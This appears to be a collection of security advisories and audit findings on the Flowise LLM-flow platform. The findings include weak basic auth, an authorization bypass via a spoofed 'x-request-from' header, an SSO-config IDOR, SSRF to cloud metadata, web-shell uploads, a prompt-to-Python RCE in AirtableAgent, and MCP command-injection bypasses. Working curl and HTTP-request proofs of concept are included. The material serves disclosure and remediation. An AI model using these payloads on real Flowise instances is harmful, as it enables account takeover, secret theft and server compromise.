Affected Code public async checkBasicAuth(req: Request, res: Response) { const { username, password } = req.body if (username === process.env.FLOWISEUSERNAME && password === process.env.FLOWISEPASSWORD) { return res.json({ message: 'Authentication successful' })
Evidence Credentials are sent in plaintext in request body and compared directly without hashing. No rate limiting prevents brute force attacks. The endpoint returns different messages for success/failure, enabling enumeration.
Impact Credential brute-forcing - attackers can attempt unlimited username/password combinations against the basic auth system. Successful attacks grant access to the application.
Recommendation 1) Implement rate limiting on this endpoint, 2) Use constant-time comparison to prevent timing attacks, 3) Consider using hashed comparison, 4) Return generic error messages, 5) Add logging for failed attempts.
Notes The checkBasicAuth endpoint at line 128-135 has multiple security issues: (1) No rate limiting - the RateLimiterManager only applies to chatflow-specific endpoints, not auth endpoints. Attackers can perform unlimited brute force attempts. (2) Uses JavaScript === operator for comparison which is not constant-time, potentially enabling timing attacks. (3) Returns different messages for success ('Authentication successful') vs failure ('Authentication failed'), enabling credential enumeration. The endpoint compares plaintext credentials against environment variables FLOWISEUSERNAME and FLOWISEPASSWORD. While this is basic auth for simpler deployments, the lack of rate limiting makes it actively exploitable for credential brute-forcing.
Summary
Flowise trusts any HTTP client that sets the header x-request-from: internal, allowing an authenticated tenant session to bypass all /api/v1/ authorization checks. With only a browser cookie, a low-privilege tenant can invoke internal administration endpoints (API key management, credential stores, custom function execution, etc.), effectively escalating privileges.
Details
The global middleware that guards /api/v1 routes lives in external/Flowise/packages/server/src/index.ts:214. After filtering out the whitelist, the logic short-circuits on the spoofable header:
javascript if (isWhitelisted) { next(); } else if (req.headers['x-request-from'] === 'internal') { verifyToken(req, res, next); } else { const { isValid } = await validateAPIKey(req); if (!isValid) return res.status(401).json({ error: 'Unauthorized Access' }); … // owner context stitched from API key }
Because the middle branch blindly calls verifyToken, any tenant that already has a UI session cookie is treated as an internal client simply by adding that header. No additional permission checks are performed before next() executes, so every downstream router under /api/v1 becomes reachable.
PoC
1. Log into Flowise 3.0.8 and capture cookies (e.g., curl -c /tmp/flowisecookies.txt … /api/v1/auth/login). 2. Invoke an internal-only endpoint with the spoofed header:
bash curl -sS -b /tmp/flowisecookies.txt \ -H 'Content-Type: application/json' \ -H 'x-request-from: internal' \ -X POST http://127.0.0.1:3100/api/v1/apikey \ -d '{"keyName":"Bypass Demo"}' The server returns HTTP 200 and the newly created key object. 3. Remove the header and retry:
bash curl -sS -b /tmp/flowisecookies.txt \ -H 'Content-Type: application/json' \ -X POST http://127.0.0.1:3100/api/v1/apikey \ -d '{"keyName":"Bypass Demo"}' This yields {"error":"Unauthorized Access"}, confirming the header alone controls access.
The same spoof grants access to other privileged routes like /api/v1/credentials, /api/v1/tools, /api/v1/node-custom-function, etc.
Impact
This is an authorization bypass / privilege escalation. Any authenticated tenant (even without API keys or elevated roles) can execute internal administration APIs solely from the browser, enabling actions such as minting new API keys, harvesting stored secrets, and, when combined with other flaws (e.g., Custom Function RCE), full system compromise. All self-hosted Flowise 3.0.8 deployments that rely on the default middleware are affected.
Summary The Flowise platform has a critical Insecure Direct Object Reference (IDOR) vulnerability combined with a Business Logic Flaw in the PUT /api/v1/loginmethod endpoint.
While the endpoint requires authentication, it fails to validate if the authenticated user has ownership or administrative rights over the target organizationId. This allows any low-privileged user (including "Free" plan users) to:
1. Overwrite the SSO configuration of any other organization. 2. Enable "Enterprise-only" features (SSO/SAML) without a license. 3. Perform Account Takeover by redirecting the authentication flow.
Details The backend accepts the organizationId parameter from the JSON body and updates the database record corresponding to that ID. There is no middleware or logic check to ensure request.user.organizationId === body.organizationId.
PoC Prerequisites: 1. The attacker creates a standard "Free" account and obtains a valid JWT token (Cookie/Header). 2. The attacker identifies the target organizationId (e.g., bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d).
Step-by-Step Exploitation: The attacker sends the following PUT request to overwrite the victim's Google SSO configuration.
Request:
http PUT /api/v1/loginmethod HTTP/2 Host: cloud.flowiseai.com Cookie: token=<ATTACKERJWTTOKEN> Content-Type: application/json Accept: application/json
{ "organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d", "userId": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2", "providers": [ { "providerLabel": "Google", "providerName": "google", "config": { "clientID": "ATTACKERMALICIOUSCLIENTID", "clientSecret": "ATTACKERMALICIOUSSECRET" }, "status": "enable" } ] }
Response: The server responds with 200 OK, confirming the modification has been applied to the victim's organization context.
json { "status": "OK", "organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d" }
Impact
- Account Takeover: An attacker can replace a victim organization's legitimate OAuth credentials (e.g., Google Client ID) with their own malicious application credentials. When victim employees try to log in via SSO, they are authenticated against the attacker's application, potentially allowing the attacker to hijack sessions or steal credentials. - License Control Bypass: Users on the "Free" tier can illicitly enable and configure SSO providers (Azure, Okta, etc.), which are features strictly restricted to the "Enterprise" plan.
Description: Flowise exposes an HTTP Node in AgentFlow and Chatflow that performs server-side HTTP requests using user-controlled URLs. By default, there are no restrictions on target hosts, including private/internal IP ranges (RFC 1918), localhost, or cloud metadata endpoints. This enables Server-Side Request Forgery (SSRF), allowing any user interacting with a publicly exposed chatflow to force the Flowise server to make requests to internal network resources that are inaccessible from the public internet.
Impact includes: - Access to internal admin panels (e.g., internal company dashboards, Jenkins, Kubernetes API, etc.). - Retrieval of cloud provider metadata (e.g., AWS IMDSv1 at [http://169.254.169.254], GCP, Azure). - Port scanning and enumeration of internal services. - Potential lateral movement or privilege escalation in compromised environments.
This vulnerability is particularly severe because: - Flowise instances are often deployed publicly without authentication (FLOWISEUSERNAME/PASSWORD not set by default). - The HTTP Node is easily accessible in simple flows with minimal configuration.
Proof of Concept (PoC): A minimal flow consisting of three nodes demonstrates successful internal network access: Flow Structure: <img width="1131" height="323" alt="image" src="https://github.com/user-attachments/assets/f6ddc74f-3ae9-4376-995a-693fb272627a" /> HTTP Node Configuration: The HTTP Node is configured to perform a GET request to an internal address on localhost: URL: http://127.0.0.1:8000 (or any internal service) <img width="568" height="759" alt="image" src="https://github.com/user-attachments/assets/a5735e1f-f735-4d01-9d72-a772963254c8" />
Successful Response from Internal Service: When the flow is triggered via chat input, the Flowise server successfully retrieves and returns content from the internal mock server running on port 8000 within the same container/network: <img width="377" height="627" alt="image" src="https://github.com/user-attachments/assets/ff3fcfc6-4957-4aae-9c9d-13b4fca1d0ef" />
Impact This is a Server-Side Request Forgery (SSRF) vulnerability with both read and write capabilities. The HTTP Request node supports all standard HTTP methods (GET, POST, PUT, PATCH, DELETE), allowing attackers to not only retrieve sensitive information but also modify, create, or delete data on internal services if those services expose mutable endpoints: - Read access: Retrieval of sensitive internal data, cloud provider metadata (e.g., AWS IAM credentials at http://169.254.169.254/latest/meta-data/iam/security-credentials/), secrets, configuration files, or database contents. - Write access: Modification or deletion of internal resources via POST/PUT/PATCH/DELETE methods (e.g., creating malicious users/configurations, overwriting files, deleting data, triggering destructive actions on internal admin panels, CI/CD systems like Jenkins, Kubernetes APIs, or cloud management interfaces). Amplification: Retrieved cloud credentials can be used for further privilege escalation or lateral movement outside the n8n instance.
Suggested Long-term Fix (for Flowise): - Add optional security controls to HTTP Node: - Toggle: "Block private IP ranges and localhost" (enabled by default). - Field: "Allowed domains" (whitelist). - Display prominent warning when URL field uses template variables (e.g., {{ }}). - Update documentation with explicit SSRF risks and best practices.
Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, the Chatflow configuration file upload settings can be modified to allow the application/javascript MIME type. This lets an attacker upload .js files even though the frontend doesn’t normally allow JavaScript uploads. This enables attackers to persistently store malicious Node.js web shells on the server, potentially leading to Remote Code Execution (RCE). This vulnerability is fixed in 3.1.0.
Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, there is a remote code execution vulnerability in AirtableAgent.ts caused by lack of input verification when using Pandas. The user’s input is directly applied to the question parameter within the prompt template and it is reflected to the Python code without any sanitization. This vulnerability is fixed in 3.1.0.
Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, the GET /api/v1/public-chatflows/:id endpoint returns the full chatflow object without sanitization for public chatflows. Docker validation revealed this is worse than initially assessed: the sanitizeFlowDataForPublicEndpoint function does NOT exist in the released v3.0.13 Docker image. Both public-chatflows AND public-chatbotConfig return completely raw flowData including credential IDs, plaintext API keys, and password-type fields. This vulnerability is fixed in 3.1.0.
FINDING 4: OpenAI Assistants Vector Store - No Auth on CRUD Operations Severity: HIGH (CVSS ~8.1) Type: CWE-306 (Missing Authentication for Critical Function) File: packages/server/src/routes/openai-assistants-vector-store/index.ts
Description: ALL CRUD endpoints for OpenAI Assistants Vector Store have no authentication middleware AND the route path /api/v1/openai-assistants-vector-store is NOT in WHITELISTURLS. However, it is also NOT protected by the main auth middleware when accessed via API key — the route requires API key auth (not whitelisted), but NO permission checks exist on any operation.
The real issue is that the routes have no checkAnyPermission() middleware, meaning any authenticated user regardless of role can: - Create vector stores - Upload files to vector stores - Delete vector stores and files - Modify any vector store
Evidence: typescript // No permission middleware on any route router.post('/', controller.createAssistantVectorStore) // No permission check router.put(['/', '/:id'], controller.updateAssistantVectorStore) // No permission check router.delete(['/', '/:id'], controller.deleteAssistantVectorStore) // No permission check router.post('/:id', getMulterStorage().array('files'), controller.uploadFilesToAssistantVectorStore) // No permission check
Impact: Any authenticated user can manipulate OpenAI vector stores, upload malicious files, delete data, or exfiltrate stored documents regardless of their assigned permissions.
Flowise before 3.1.2 contains multiple OS command injection vulnerabilities in the Custom MCP Server feature due to incomplete command-flag validation and a regex bypass in local file access restrictions. An attacker with a Flowise account of any role, or API access with view/update permissions for chatflows, can configure a malicious MCP server to bypass the validateCommandFlags blocklist (for example, 'docker build' is not blocked, and 'npx --yes' is not blocked while only '-y' is) and the validateArgsForLocalFileAccess checks, resulting in execution of arbitrary commands on the Flowise host.